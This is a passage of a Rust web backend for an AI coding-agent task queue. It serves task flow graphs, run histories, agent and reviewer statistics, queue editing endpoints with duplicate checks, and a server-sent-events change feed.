4535 } else if matches!(status, RunStatus::VerifiedNoop) {
4536 " Held for a person to check the claim.".to_owned()
4537 } else if last {
4538 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4539 } else {
4540 " It spent an attempt, and the task moved on to the next run.".to_owned()
4541 };
4542 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4543 TaskRunView {
4544 n,
4545 id: id.to_owned(),
4546 short,
4547 kind,
4548 status: Some(status.as_str()),
4549 readable: true,
4550 provisional,
4551 description,
4552 outcome: format!("{head}{why}"),
4553 created_at: Some(s.created_at),
4554 pr: s.pr.as_ref().map(|p| p.url.clone()),
4555 exit,
4556 attempt: exit.cost(),
4557 branch: branch.map(str::to_owned),
4558 }
4559}
4560
4561#[derive(Debug, Serialize, PartialEq)]
4563struct FlowNode {
4564 key: String,
4566 kind: &'static str,
4568 label: String,
4569 status: Option<&'static str>,
4572 status_of: &'static str,
4575 note: Option<&'static str>,
4577 run_kind: Option<&'static str>,
4578 detail: Option<String>,
4579 decided: bool,
4581 readable: bool,
4582 href: Option<String>,
4583}
4584
4585#[derive(Debug, Serialize, PartialEq)]
4586struct FlowEdge {
4587 from: String,
4588 to: String,
4589 label: String,
4590 attempt: AttemptCost,
4591}
4592
4593#[derive(Debug, Serialize, PartialEq)]
4594struct FlowView {
4595 nodes: Vec<FlowNode>,
4596 edges: Vec<FlowEdge>,
4597 attempts: usize,
4599 max_attempts: usize,
4600}
4601
4602fn task_flow(
4611 task: &Task,
4612 history: &[TaskRunView],
4613 max_attempts: usize,
4614 origin: Option<&FollowUpOrigin>,
4615) -> FlowView {
4616 let node = |key: &str, kind, label: String| FlowNode {
4617 key: key.to_owned(),
4618 kind,
4619 label,
4620 status: None,
4621 status_of: "run",
4622 note: None,
4623 run_kind: None,
4624 detail: None,
4625 decided: false,
4626 readable: true,
4627 href: None,
4628 };
4629 let mut nodes = Vec::new();
4630 let mut edges: Vec<FlowEdge> = Vec::new();
4631 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4633 let mut n = node(
4634 "chat",
4635 "chat",
4636 format!("Chat {}", crate::queue::short(&link.id)),
4637 );
4638 n.href = Some(link.href);
4639 nodes.push(n);
4640 edges.push(FlowEdge {
4641 from: "chat".to_owned(),
4642 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4643 label: "queued from chat".to_owned(),
4644 attempt: AttemptCost::None,
4645 });
4646 }
4647 if let Some(o) = origin {
4648 let mut n = match &o.parent {
4649 Some(p) => {
4650 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4651 n.status = Some(p.status);
4652 n.status_of = "task";
4653 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4654 n.href = Some(p.href.clone());
4655 n
4656 }
4657 None => {
4658 let mut n = node(
4659 "origin",
4660 "followup",
4661 format!("Follow-up of run {}", o.run.short),
4662 );
4663 n.detail = Some("merged run".to_owned());
4664 n.status = o.run.status;
4665 n.href = o.run.href.clone();
4666 if o.run.href.is_none() {
4667 n.readable = false;
4668 n.note = Some("unreadable");
4669 }
4670 n
4671 }
4672 };
4673 n.decided = true;
4674 let from = n.key.clone();
4675 nodes.push(n);
4676 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4677 let more = o.findings.len().saturating_sub(shown.len());
4678 let label = match (shown.is_empty(), more) {
4679 (true, _) => "open findings".to_owned(),
4680 (false, 0) => format!("open findings {}", shown.join(", ")),
4681 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4682 };
4683 edges.push(FlowEdge {
4684 from,
4685 to: "start".to_owned(),
4686 label,
4687 attempt: AttemptCost::None,
4688 });
4689 }
4690 nodes.push(node("start", "start", "Task queued".to_owned()));
4691 let mut prev = "start".to_owned();
4692 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4693 for (i, h) in history.iter().enumerate() {
4694 let key = format!("run-{}", h.n);
4695 let mut n = node(&key, "run", format!("Run {}", h.short));
4696 n.run_kind = Some(h.kind);
4697 n.readable = h.readable;
4698 n.href = Some(format!("#/runs/{}", h.id));
4699 n.decided = h.readable && !h.provisional;
4700 n.detail = h
4701 .branch
4702 .as_ref()
4703 .map(|b| format!("review-only run of branch {b}"));
4704 match h.exit {
4705 RunExit::Unreadable => n.note = Some("unreadable"),
4706 RunExit::Interrupted => n.note = Some("interrupted"),
4707 _ => {
4708 n.status = h.status;
4709 if h.provisional {
4710 n.note = Some("no verdict");
4711 }
4712 }
4713 }
4714 let into = match h.kind {
4715 "review" => Some(format!(
4716 "review-only run of branch {}",
4717 h.branch.as_deref().unwrap_or("?")
4718 )),
4719 "resume" => Some("resume the same run".to_owned()),
4720 _ if i > 0 => Some("retry".to_owned()),
4721 _ => None,
4722 };
4723 let label = match (prev_exit, into) {
4724 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4725 (Some((e, st)), None) => e.edge_label(st),
4726 (None, Some(i)) => i,
4727 (None, None) => "claimed".to_owned(),
4728 };
4729 edges.push(FlowEdge {
4730 from: prev.clone(),
4731 to: key.clone(),
4732 label,
4733 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4734 });
4735 prev_exit = Some((h.exit, h.status));
4736 prev = key;
4737 nodes.push(n);
4738 }
4739 let mut end = node("end", "end", task.status.as_str().to_owned());
4740 end.status = Some(task.status.as_str());
4741 end.status_of = "task";
4742 nodes.push(end);
4743 let (label, attempt) = match prev_exit {
4744 None => (
4745 format!("no run yet \u{2192} {}", task.status.as_str()),
4746 AttemptCost::None,
4747 ),
4748 Some((e, st)) if e.explains(task.status) => (
4749 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4750 e.cost(),
4751 ),
4752 Some((e, _)) => (
4753 format!("closed by hand: task is {}", task.status.as_str()),
4754 e.cost(),
4755 ),
4756 };
4757 edges.push(FlowEdge {
4758 from: prev,
4759 to: "end".to_owned(),
4760 label,
4761 attempt,
4762 });
4763 FlowView {
4764 nodes,
4765 edges,
4766 attempts: task.attempts,
4767 max_attempts,
4768 }
4769}
4770
4771fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4774 let mut history = Vec::with_capacity(task.runs.len());
4775 let mut seen: Vec<&str> = Vec::new();
4776 let mut prior: Option<(&str, RunStatus)> = None;
4777 for (i, run_id) in task.runs.iter().enumerate() {
4778 let state = read(run_id);
4779 let resumed = seen.contains(&run_id.as_str());
4780 seen.push(run_id);
4781 history.push(task_run_view(
4782 run_id,
4783 state.as_ref(),
4784 RunSlot {
4785 n: i + 1,
4786 resumed,
4787 resumed_later: task.runs[i + 1..]
4788 .iter()
4789 .position(|r| r == run_id)
4790 .map(|off| i + off + 2),
4791 prior,
4792 last: i + 1 == task.runs.len(),
4793 },
4794 task,
4795 ));
4796 if let Some(s) = &state {
4797 prior = Some((run::short_of(run_id), s.status));
4798 }
4799 }
4800 history
4801}
4802
4803async fn task_detail(
4804 State(ui): State<Arc<Ui>>,
4805 Path(id): Path<String>,
4806) -> ApiResult<Json<TaskDetailView>> {
4807 blocking(move || {
4808 let id = resolve_task(&ui.queue, &id)?;
4809 let task = ui
4810 .queue
4811 .get(&id)
4812 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4813 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4814 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4815 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4816 let max_attempts = daemon::Opts::default().max_attempts;
4817 let origin = task.followup.as_ref().map(|fu| {
4818 followup_origin(
4819 fu,
4820 |tid| ui.queue.get(tid).ok(),
4821 |rid| read_run(&ui.runs, rid).ok(),
4822 )
4823 });
4824 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4825 Ok(Json(TaskDetailView {
4826 max_attempts,
4827 flow,
4828 followup_origin: origin,
4829 history,
4830 runs_unreadable,
4831 attempts_note: ATTEMPTS_NOTE,
4832 task: TaskView::with_inventory(task, &inv),
4833 }))
4834 })
4835 .await
4836}
4837
4838#[derive(Debug, Serialize)]
4842struct RateView {
4843 pct: f64,
4844 denominator: usize,
4845}
4846
4847impl RateView {
4848 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4849 (denominator > 0).then(|| Self {
4850 pct: 100.0 * numerator as f64 / denominator as f64,
4851 denominator,
4852 })
4853 }
4854}
4855
4856#[derive(Debug, Serialize)]
4861struct StatsTotalsView {
4862 runs: usize,
4863 merged: usize,
4864 ready: usize,
4865 blocked: usize,
4866 failed: usize,
4867 stalled: usize,
4868 verified_noop: usize,
4869 superseded: usize,
4870 in_progress: usize,
4871 completion_rate: Option<RateView>,
4872 tallied: usize,
4873 split: usize,
4874 split_rate: Option<RateView>,
4875 deliberated: usize,
4876 minds_changed: usize,
4877 converged: usize,
4878 review_rounds: usize,
4879}
4880
4881impl From<&stats::Totals> for StatsTotalsView {
4882 fn from(t: &stats::Totals) -> Self {
4883 Self {
4884 runs: t.runs,
4885 merged: t.merged,
4886 ready: t.ready,
4887 blocked: t.blocked,
4888 failed: t.failed,
4889 stalled: t.stalled,
4890 verified_noop: t.verified_noop,
4891 superseded: t.superseded,
4892 in_progress: t.in_progress,
4893 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4894 tallied: t.tallied,
4895 split: t.split,
4896 split_rate: RateView::of(t.split, t.tallied),
4897 deliberated: t.deliberated,
4898 minds_changed: t.minds_changed,
4899 converged: t.converged,
4900 review_rounds: t.review_rounds,
4901 }
4902 }
4903}
4904
4905#[derive(Debug, Serialize)]
4907struct AgentStatsView {
4908 agent: String,
4909 entered: usize,
4910 wins: usize,
4911 empty: usize,
4912 win_rate: Option<RateView>,
4913}
4914
4915impl From<&stats::AgentStats> for AgentStatsView {
4916 fn from(a: &stats::AgentStats) -> Self {
4917 Self {
4918 agent: a.agent.clone(),
4919 entered: a.entered,
4920 wins: a.wins,
4921 empty: a.empty,
4922 win_rate: RateView::of(a.wins, a.entered),
4923 }
4924 }
4925}
4926
4927#[derive(Debug, Serialize)]
4931struct ReviewerStatsView {
4932 agent: String,
4933 rounds: usize,
4934 seated: usize,
4935 submitted: usize,
4936 adopted: usize,
4937 unique: usize,
4938 timeouts: usize,
4939 adopted_per_round: Option<f64>,
4940 precision: Option<RateView>,
4941 unique_rate: Option<RateView>,
4942 timeout_rate: Option<RateView>,
4943}
4944
4945impl From<&stats::ReviewerStats> for ReviewerStatsView {
4946 fn from(r: &stats::ReviewerStats) -> Self {
4947 Self {
4948 agent: r.agent.clone(),
4949 rounds: r.rounds,
4950 seated: r.seated,
4951 submitted: r.submitted,
4952 adopted: r.adopted,
4953 unique: r.unique,
4954 timeouts: r.timeouts,
4955 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4956 precision: RateView::of(r.adopted, r.submitted),
4957 unique_rate: RateView::of(r.unique, r.submitted),
4958 timeout_rate: RateView::of(r.timeouts, r.seated),
4959 }
4960 }
4961}
4962
4963#[derive(Debug, Serialize)]
4969struct AdvisorStatsView {
4970 agent: String,
4971 seated: usize,
4972 proposed: usize,
4973 absent: usize,
4974 faint: usize,
4975 strong: usize,
4976 reflection_rate: Option<RateView>,
4977}
4978
4979impl From<&stats::AdvisorStats> for AdvisorStatsView {
4980 fn from(a: &stats::AdvisorStats) -> Self {
4981 Self {
4982 agent: a.agent.clone(),
4983 seated: a.seated,
4984 proposed: a.proposed,
4985 absent: a.absent,
4986 faint: a.faint,
4987 strong: a.strong,
4988 reflection_rate: RateView::of(a.strong, a.proposed),
4989 }
4990 }
4991}
4992
4993#[derive(Debug, Serialize)]
4995struct E2eStatsView {
4996 rounds: usize,
4997 failures: usize,
4998 sole_detections: usize,
4999 deferred: usize,
5000 sole_rate: Option<RateView>,
5001}
5002
5003impl From<&stats::E2eStats> for E2eStatsView {
5004 fn from(e: &stats::E2eStats) -> Self {
5005 Self {
5006 rounds: e.rounds,
5007 failures: e.failures,
5008 sole_detections: e.sole_detections,
5009 deferred: e.deferred,
5010 sole_rate: RateView::of(e.sole_detections, e.failures),
5011 }
5012 }
5013}
5014
5015#[derive(Debug, Serialize)]
5023struct ReleaseBumpStatsView {
5024 merged: usize,
5025 recorded: usize,
5026 pr_opened: usize,
5027 automerge_enabled: usize,
5028 merged_directly: usize,
5029 needs_attention: usize,
5030 clean: usize,
5031 coverage_rate: Option<RateView>,
5032 automerge_rate: Option<RateView>,
5033 attention_rate: Option<RateView>,
5034}
5035
5036impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5037 fn from(b: &stats::ReleaseBumpStats) -> Self {
5038 Self {
5039 merged: b.merged,
5040 recorded: b.recorded,
5041 pr_opened: b.pr_opened,
5042 automerge_enabled: b.automerge_enabled,
5043 merged_directly: b.merged_directly,
5044 needs_attention: b.needs_attention,
5045 clean: b.clean(),
5046 coverage_rate: RateView::of(b.recorded, b.merged),
5047 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5048 attention_rate: RateView::of(b.needs_attention, b.recorded),
5049 }
5050 }
5051}
5052
5053#[derive(Debug, Serialize)]
5055struct TaskCountsView {
5056 queued: usize,
5057 running: usize,
5058 done: usize,
5059 failed: usize,
5060 held: usize,
5061 blocked: usize,
5062 parked: usize,
5063}
5064
5065impl From<crate::queue::TaskCounts> for TaskCountsView {
5066 fn from(c: crate::queue::TaskCounts) -> Self {
5067 Self {
5068 queued: c.queued,
5069 running: c.running,
5070 done: c.done,
5071 failed: c.failed,
5072 held: c.held,
5073 blocked: c.blocked,
5074 parked: c.parked,
5075 }
5076 }
5077}
5078
5079#[derive(Debug, Serialize)]
5085struct RepoSummaryView {
5086 repo: String,
5089 name: String,
5091 runs: usize,
5092 completion_rate: Option<RateView>,
5093}
5094
5095impl From<&stats::RepoStats> for RepoSummaryView {
5096 fn from(r: &stats::RepoStats) -> Self {
5097 let t = &r.stats.totals;
5098 Self {
5099 repo: r.repo.to_string_lossy().into_owned(),
5100 name: r.name.clone(),
5101 runs: t.runs,
5102 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5103 }
5104 }
5105}
5106
5107#[derive(Debug, Serialize)]
5113struct StatsView {
5114 totals: StatsTotalsView,
5115 agents: Vec<AgentStatsView>,
5117 reviewers: Vec<ReviewerStatsView>,
5119 advisors: Vec<AdvisorStatsView>,
5121 e2e: E2eStatsView,
5122 release_bumps: ReleaseBumpStatsView,
5123 queue: TaskCountsView,
5124 runs_unreadable: usize,
5134 repos: Vec<RepoSummaryView>,
5138 daily: Vec<DailyStatsView>,
5143 repo: Option<String>,
5147 retired_hidden: Vec<String>,
5151}
5152
5153#[derive(Debug, Serialize)]
5155struct DailyStatsView {
5156 date: String,
5158 runs: usize,
5159 merged: usize,
5160 ready: usize,
5161 other: usize,
5162 completion_rate: Option<RateView>,
5164}
5165
5166impl From<&stats::DayBucket> for DailyStatsView {
5167 fn from(b: &stats::DayBucket) -> Self {
5168 Self {
5169 date: b.date.to_string(),
5170 runs: b.runs,
5171 merged: b.merged,
5172 ready: b.ready,
5173 other: b.other,
5174 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5175 }
5176 }
5177}
5178
5179const STATS_DAILY_DAYS: usize = 30;
5181
5182#[derive(Debug, Default, Deserialize)]
5191#[serde(default)]
5192struct StatsQuery {
5193 repo: Option<String>,
5194 all: bool,
5196}
5197
5198async fn stats_get(
5205 State(ui): State<Arc<Ui>>,
5206 Query(q): Query<StatsQuery>,
5207) -> ApiResult<Json<StatsView>> {
5208 blocking(move || {
5209 let states: Vec<RunState> = run_ids(&ui.runs)
5210 .into_iter()
5211 .filter_map(|id| read_run(&ui.runs, &id).ok())
5212 .collect();
5213 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5214 .iter()
5215 .map(RepoSummaryView::from)
5216 .collect();
5217 let mut scoped: Vec<&RunState> = states.iter().collect();
5218 let mut collected = match &q.repo {
5219 Some(repo) => {
5220 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5221 if filtered.is_empty() {
5222 return Err(ApiError::not_found(format!(
5223 "no runs recorded against repo `{repo}`"
5224 )));
5225 }
5226 scoped = filtered.clone();
5227 stats::collect_refs(filtered)
5228 }
5229 None => stats::collect(&states),
5230 };
5231 if !q.all {
5232 let repo = q
5233 .repo
5234 .as_deref()
5235 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5236 stats::retain_current_roster(&mut collected, &repo);
5237 }
5238 let daily = stats::daily(
5239 scoped,
5240 jiff::Zoned::now().date(),
5241 &jiff::tz::TimeZone::system(),
5242 STATS_DAILY_DAYS,
5243 );
5244 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5245 Ok(Json(StatsView {
5246 totals: StatsTotalsView::from(&collected.totals),
5247 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5248 reviewers: collected
5249 .reviewers
5250 .iter()
5251 .map(ReviewerStatsView::from)
5252 .collect(),
5253 advisors: collected
5254 .advisors
5255 .iter()
5256 .map(AdvisorStatsView::from)
5257 .collect(),
5258 e2e: E2eStatsView::from(&collected.e2e),
5259 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5260 queue: TaskCountsView::from(queue_counts),
5261 runs_unreadable: runs_unreadable(&ui.runs),
5262 repos,
5263 daily: daily.iter().map(DailyStatsView::from).collect(),
5264 repo: q.repo.clone(),
5265 retired_hidden: collected.retired_hidden.clone(),
5266 }))
5267 })
5268 .await
5269}
5270
5271#[derive(Debug, Default, Deserialize)]
5274#[serde(default, deny_unknown_fields)]
5275struct HoldBody {
5276 reason: Option<String>,
5277}
5278
5279async fn queue_hold(
5280 State(ui): State<Arc<Ui>>,
5281 Path(id): Path<String>,
5282 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5283) -> ApiResult<Json<TaskView>> {
5284 let body = match body {
5288 Ok(Json(body)) => body,
5289 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5290 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5291 };
5292 let reason = body.reason.filter(|r| !r.trim().is_empty());
5293 mutate(ui, id, move |t| {
5294 t.hold_manual(reason.clone());
5295 Ok(())
5296 })
5297 .await
5298}
5299
5300async fn queue_release(
5301 State(ui): State<Arc<Ui>>,
5302 Path(id): Path<String>,
5303) -> ApiResult<Json<TaskView>> {
5304 mutate(ui, id, |t| {
5305 t.release();
5306 Ok(())
5307 })
5308 .await
5309}
5310
5311#[derive(Debug, Deserialize)]
5313#[serde(deny_unknown_fields)]
5314struct PriorityBody {
5315 priority: i32,
5316}
5317
5318async fn queue_priority(
5324 State(ui): State<Arc<Ui>>,
5325 Path(id): Path<String>,
5326 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5327) -> ApiResult<Json<TaskView>> {
5328 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5329 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5330}
5331
5332#[derive(Debug, Deserialize)]
5334#[serde(deny_unknown_fields)]
5335struct EditBody {
5336 title: String,
5337 instruction: String,
5338 #[serde(default)]
5341 force: bool,
5342}
5343
5344async fn queue_edit(
5348 State(ui): State<Arc<Ui>>,
5349 Path(id): Path<String>,
5350 body: std::result::Result<Json<EditBody>, JsonRejection>,
5351) -> ApiResult<Json<TaskView>> {
5352 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5353 let mut judged: Option<(String, PathBuf)> = None;
5357 if !body.force {
5358 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5359 let (id, text) = (id.clone(), body.instruction.clone());
5360 let (seen, hits) = blocking(move || {
5361 let id = resolve_task(&queue, &id)?;
5362 let t = queue.get(&id)?;
5363 if text == t.instruction {
5364 return Ok((None, Vec::new()));
5365 }
5366 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5367 Ok((Some((t.instruction, t.repo)), hits))
5368 })
5369 .await?;
5370 if let Some((_, repo)) = &seen {
5371 let cfg = crate::config::Config::discover(repo, None)
5372 .ok()
5373 .map(|(c, _)| c);
5374 let screened =
5375 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5376 .await
5377 .map_err(|dup| {
5378 ApiError::conflict(dup.render(
5379 "Nothing was saved. If it is not a duplicate, repeat the request \
5380 with \"force\": true.",
5381 ))
5382 })?;
5383 if let crate::dupes::Screened::Unjudged(why) = screened {
5384 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5385 }
5386 }
5387 judged = seen;
5388 }
5389 let force = body.force;
5390 mutate(ui, id, move |t| {
5391 if !force && body.instruction != t.instruction {
5392 match &judged {
5393 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5394 _ => {
5395 anyhow::bail!("the task changed while it was being checked; repeat the request")
5396 }
5397 }
5398 }
5399 t.edit(body.title.clone(), body.instruction.clone())
5400 })
5401 .await
5402}
5403
5404async fn queue_done(
5412 State(ui): State<Arc<Ui>>,
5413 Path(id): Path<String>,
5414) -> ApiResult<Json<TaskView>> {
5415 let home = ui.home.clone();
5416 mutate(ui, id, move |t| {
5417 t.succeed();
5418 crate::daemon::supersede_prior_runs(t, &home);
5426 Ok(())
5427 })
5428 .await
5429}
5430
5431async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5439 blocking(move || {
5440 let id = resolve_task(&ui.queue, &id)?;
5441 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5442 ui.queue
5443 .remove(&id, in_flight, &ui.questions)
5444 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5445 Ok(StatusCode::NO_CONTENT)
5446 })
5447 .await
5448}
5449
5450async fn mutate(
5459 ui: Arc<Ui>,
5460 id: String,
5461 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5462) -> ApiResult<Json<TaskView>> {
5463 blocking(move || {
5464 let id = resolve_task(&ui.queue, &id)?;
5465 let _claim = ui.queue.claim(&id).map_err(|e| {
5470 ApiError::conflict(format!(
5471 "{e:#} - a daemon is running this task, so it cannot be \
5472 changed from here yet"
5473 ))
5474 })?;
5475 let mut task = ui.queue.get(&id)?;
5476 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5477 Ok(dup) => ApiError::conflict(dup.render(
5478 "Nothing was saved. If it is not a duplicate, repeat the request with \
5479 \"force\": true.",
5480 )),
5481 Err(e) => ApiError::bad_request_from(e),
5482 })?;
5483 ui.queue.put(&mut task)?;
5484 Ok(Json(TaskView::from(task)))
5485 })
5486 .await
5487}
5488
5489async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5497 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5498 tokio::spawn(async move {
5499 let mut ticker = tokio::time::interval(POLL);
5500 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5501 let mut stamps: Option<[Stamps; 3]> = None;
5502 loop {
5503 ticker.tick().await;
5506 let state = Arc::clone(&ui);
5507 let revisions = tokio::task::spawn_blocking(move || {
5508 let stamps = [
5509 store_stamps(state.queue.root(), false),
5510 store_stamps(&state.runs, true),
5511 store_stamps(state.talks.root(), false),
5512 ];
5513 let revisions = (
5514 stamps_revision(&stamps[0]),
5515 stamps_revision(&stamps[1]),
5516 state.questions.revision(),
5517 stamps_revision(&stamps[2]),
5518 state.notices.revision(),
5519 state.lock_loop().rev,
5523 );
5524 (revisions, stamps)
5525 })
5526 .await;
5527 let Ok((revisions, next_stamps)) = revisions else {
5528 break;
5529 };
5530 if last == Some(revisions) {
5531 continue;
5532 }
5533 let mut payload = serde_json::json!({
5534 "queue_rev": revisions.0,
5535 "runs_rev": revisions.1,
5536 "questions_rev": revisions.2,
5537 "talks_rev": revisions.3,
5538 "notifications_rev": revisions.4,
5539 "loop_rev": revisions.5,
5540 });
5541 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5542 for (index, (key, rev)) in [
5543 ("queue_delta", base.0),
5544 ("runs_delta", base.1),
5545 ("talks_delta", base.3),
5546 ]
5547 .into_iter()
5548 .enumerate()
5549 {
5550 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5551 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5553 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5554 }
5555 }
5556 }
5557 last = Some(revisions);
5558 stamps = Some(next_stamps);
5559 let Ok(event) = Event::default().event("change").json_data(payload) else {
5561 break;
5562 };
5563 if tx.send(event).await.is_err() {
5564 break;
5565 }
5566 }
5567 });
5568 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5569 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5570}
5571
5572type Stamps = HashMap<String, (u128, u64)>;
5573
5574fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5576 std::fs::read_dir(root)
5577 .into_iter()
5578 .flatten()
5579 .flatten()
5580 .filter_map(|entry| {
5581 let path = if runs {
5582 entry.path().join("run.json")
5583 } else {
5584 entry.path()
5585 };
5586 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5587 return None;
5588 }
5589 let metadata = path.metadata().ok()?;
5590 let modified = metadata
5591 .modified()
5592 .ok()?
5593 .duration_since(std::time::UNIX_EPOCH)
5594 .ok()?;
5595 let id = if runs {
5596 entry.file_name().to_string_lossy().into_owned()
5597 } else {
5598 path.file_stem()?.to_string_lossy().into_owned()
5599 };
5600 Some((id, (modified.as_nanos(), metadata.len())))
5601 })
5602 .collect()
5603}
5604
5605#[derive(Debug, Serialize)]
5606struct Delta {
5607 base: u64,
5608 changed: Vec<String>,
5609 removed: Vec<String>,
5610}
5611
5612fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5613 let mut changed: Vec<_> = next
5614 .iter()
5615 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5616 .map(|(id, _)| id.clone())
5617 .collect();
5618 let mut removed: Vec<_> = previous
5619 .keys()
5620 .filter(|id| !next.contains_key(*id))
5621 .cloned()
5622 .collect();
5623 changed.sort_unstable();
5624 removed.sort_unstable();
5625 Delta {
5626 base,
5627 changed,
5628 removed,
5629 }
5630}
5631
5632fn runs_revision(runs: &FsPath) -> u64 {
5639 stamps_revision(&store_stamps(runs, true))
5640}
5641
5642fn stamps_revision(stamps: &Stamps) -> u64 {
5646 use std::hash::{Hash as _, Hasher as _};
5647 if stamps.is_empty() {
5648 return 0;
5649 }
5650 let mut entries: Vec<_> = stamps.iter().collect();
5651 entries.sort_unstable();
5652 let mut hasher = std::hash::DefaultHasher::new();
5653 entries.hash(&mut hasher);
5654 hasher.finish().max(1)
5655}
5656
5657fn run_ids(runs: &FsPath) -> Vec<String> {
5663 let mut ids: Vec<String> = std::fs::read_dir(runs)
5664 .into_iter()
5665 .flatten()
5666 .flatten()
5667 .filter(|e| e.path().join("run.json").is_file())
5668 .map(|e| e.file_name().to_string_lossy().into_owned())
5669 .collect();
5670 ids.sort_unstable_by(|a, b| b.cmp(a));
5672 ids
5673}
5674
5675fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5677 let path = runs.join(id).join("run.json");
5678 let body =
5679 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5680 let state: RunState =
5681 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5682 run::migrate_schema(state)
5687}
5688
5689#[must_use]
5697pub fn runs_unreadable(runs: &FsPath) -> usize {
5698 run_ids(runs)
5699 .into_iter()
5700 .filter(|id| read_run(runs, id).is_err())
5701 .count()
5702}
5703
5704fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5706 if runs.join(id).join("run.json").is_file() {
5707 return Ok(id.to_owned());
5708 }
5709 pick(run_ids(runs), id, "run")
5710}
5711
5712fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5714 if queue.path_of(id).is_file() {
5715 return Ok(id.to_owned());
5716 }
5717 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5718}
5719
5720#[derive(Debug, Serialize)]
5731struct QuestionView {
5732 #[serde(flatten)]
5733 question: Question,
5734 detail_md: Vec<md::Node>,
5735 thread_bodies_md: Vec<Vec<md::Node>>,
5737 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5740 waiting_on_agent: bool,
5750 holder: Option<&'static str>,
5754 deputies_enabled: bool,
5758 run_is_task: bool,
5761 origin_chat: Option<String>,
5766 origin_chat_closed: bool,
5768}
5769
5770impl QuestionView {
5771 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5775 let base = md::ImageBase::QuestionPanel {
5776 id: question.id.clone(),
5777 };
5778 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5779 Self {
5780 detail_md: md::to_nodes(&question.detail, &base),
5781 thread_bodies_md: question
5782 .thread
5783 .iter()
5784 .map(|t| md::to_nodes(&t.body, &base))
5785 .collect(),
5786 thread_notes_md: question
5787 .thread
5788 .iter()
5789 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5790 .collect(),
5791 waiting_on_agent: question.waiting_on_agent(),
5792 holder,
5793 deputies_enabled,
5794 run_is_task: question.run_names_task(),
5795 origin_chat: None,
5796 origin_chat_closed: false,
5797 question,
5798 }
5799 }
5800
5801 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5803 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5804 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5805 self.origin_chat = talk.map(|t| t.id);
5806 self
5807 }
5808}
5809
5810fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5814 Config::discover(repo, None).ok().map(|(c, _)| c)
5815}
